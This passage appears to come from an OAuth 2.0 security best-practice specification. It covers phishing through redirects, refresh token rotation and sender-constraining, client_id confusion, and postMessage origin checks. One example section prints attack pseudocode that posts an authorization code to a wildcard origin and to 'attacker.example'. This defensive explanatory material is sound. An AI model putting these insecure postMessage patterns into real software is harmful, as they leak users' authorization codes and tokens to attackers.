2. Intentionally send a valid authorization request with client_id and redirect_uri controlled by the attacker. After the user authenticates, the authorization server prompts the user to provide consent to the request. If the user notices an issue with the request and declines the request, the authorization server still redirects the user agent to the phishing site. In this case, the user agent will be redirected to the phishing site regardless of the action taken by the user.¶
3. Intentionally send a valid silent authentication request (prompt=none) with client_id and redirect_uri controlled by the attacker. In this case, the authorization server will automatically redirect the user agent to the phishing site.¶

The authorization server MUST take precautions to prevent these threats. The authorization server MUST always authenticate the user first and, with the exception of the silent authentication use case, prompt the user for credentials when needed, before redirecting the user. Based on its risk assessment, the authorization server needs to decide whether or not it can trust the redirection URI. It could take into account URI analytics done internally or through some external service to evaluate the credibility and trustworthiness of content behind the URI, and the source of the redirection URI and other client data.¶

The authorization server SHOULD only automatically redirect the user agent if it trusts the redirection URI. If the URI is not trusted, the authorization server MAY inform the user and rely on the user to make the correct decision.¶

4.14.1. Discussion

Refresh tokens are an attractive target for attackers because they represent the full scope of access granted to a certain client, and they are not further constrained to a specific resource. If an attacker is able to exfiltrate and successfully replay a refresh token, the attacker will be able to mint access tokens and use them to access resource servers on behalf of the resource owner.¶

[RFC6749] already provides robust baseline protection by requiring¶

• confidentiality of the refresh tokens in transit and storage,¶
• the transmission of refresh tokens over TLS-protected connections between authorization server and client,¶
• the authorization server to maintain and check the binding of a refresh token to a certain client and authentication of this client during token refresh, if possible, and¶
• that refresh tokens cannot be generated, modified, or guessed.¶

[RFC6749] also lays the foundation for further (implementation-specific) security measures, such as refresh token expiration and revocation as well as refresh token rotation by defining respective error codes and response behaviors.¶

This specification gives recommendations beyond the scope of [RFC6749] and clarifications.¶

4.14.2. Recommendations

Authorization servers MUST determine, based on a risk assessment, whether to issue refresh tokens to a certain client. If the authorization server decides not to issue refresh tokens, the client MAY obtain a new access token by utilizing other grant types, such as the authorization code grant type. In such a case, the authorization server may utilize cookies and persistent grants to optimize the user experience.¶

If refresh tokens are issued, those refresh tokens MUST be bound to the scope and resource servers as consented by the resource owner. This is to prevent privilege escalation by the legitimate client and reduce the impact of refresh token leakage.¶

For confidential clients, [RFC6749] already requires that refresh tokens can only be used by the client for which they were issued.¶

Authorization servers MUST utilize one of these methods to detect refresh token replay by malicious actors for public clients:¶

• Sender-constrained refresh tokens: the authorization server cryptographically binds the refresh token to a certain client instance, e.g., by utilizing [RFC8705] or [RFC9449].¶

• Refresh token rotation: the authorization server issues a new refresh token with every access token refresh response. The previous refresh token is invalidated, but information about the relationship is retained by the authorization server. If a refresh token is compromised and subsequently used by both the attacker and the legitimate client, one of them will present an invalidated refresh token, which will inform the authorization server of the breach. The authorization server cannot determine which party submitted the invalid refresh token, but it will revoke the active refresh token. This stops the attack at the cost of forcing the legitimate client to obtain a fresh authorization grant.¶

  Implementation note: The grant to which a refresh token belongs may be encoded into the refresh token itself. This can enable an authorization server to efficiently determine the grant to which a refresh token belongs, and by extension, all refresh tokens that need to be revoked. Authorization servers MUST ensure the integrity of the refresh token value in this case, for example, using signatures.¶

Authorization servers MAY revoke refresh tokens automatically in case of a security event, such as:¶

• password change or¶
• logout at the authorization server.¶

Refresh tokens SHOULD expire if the client has been inactive for some time, i.e., the refresh token has not been used to obtain fresh access tokens for some time. The expiration time is at the discretion of the authorization server. It might be a global value or determined based on the client policy or the grant associated with the refresh token (and its sensitivity).¶

4.15.1. Countermeasures

Authorization servers SHOULD NOT allow clients to influence their client_id or any other claim that could cause confusion with a genuine resource owner if a common namespace for client IDs and user identifiers exists, such as in the sub claim example from [RFC9068] shown in Section 4.15 above. Where this cannot be avoided, authorization servers MUST provide other means for the resource server to distinguish between the two types of access tokens.¶

4.17.1. Examples

The following non-normative pseudocode examples of attacks using in-browser communication are described in [research.rub].¶

window.opener.postMessage(
  {
    code: "ABC",
    state: "123"
  },
  "*" // any website in the opener window can receive the message
)

window.opener.postMessage(
  {
    code: "ABC",
    state: "123"
  },
  "https://attacker.example" // attacker-provided value
)

4.17.2. Recommendations

When comparing client receiver origins against pre-registered origins, authorization servers MUST utilize exact string matching as described in Section 4.1.3. Authorization servers MUST send postMessages to trusted client receiver origins, as shown in the following, non-normative example:¶

window.opener.postMessage(
  {
    code: "ABC",
    state: "123"
  },
  "https://client.example" // use explicit client origin
)

Wildcard origins like "*" in postMessage MUST NOT be used, as attackers can use them to leak a victim's in-browser message to malicious origins. Both measures contribute to the prevention of leakage of authorization codes and access tokens (see Section 4.1).¶

Clients MUST prevent injection of in-browser messages on the client receiver endpoint. Clients MUST utilize exact string matching to compare the initiator origin of an in-browser message with the authorization server origin, as shown in the following, non-normative example:¶

window.addEventListener("message", (e) => {
  // validate exact authorization server origin
  if (e.origin === "https://honest.as.example") {
    // process e.data.code and e.data.state
  }
})

Since in-browser communication flows only apply a different communication technique (i.e., postMessage instead of HTTP redirect), all measures protecting the authorization response listed in Section 2.1 MUST be applied equally.¶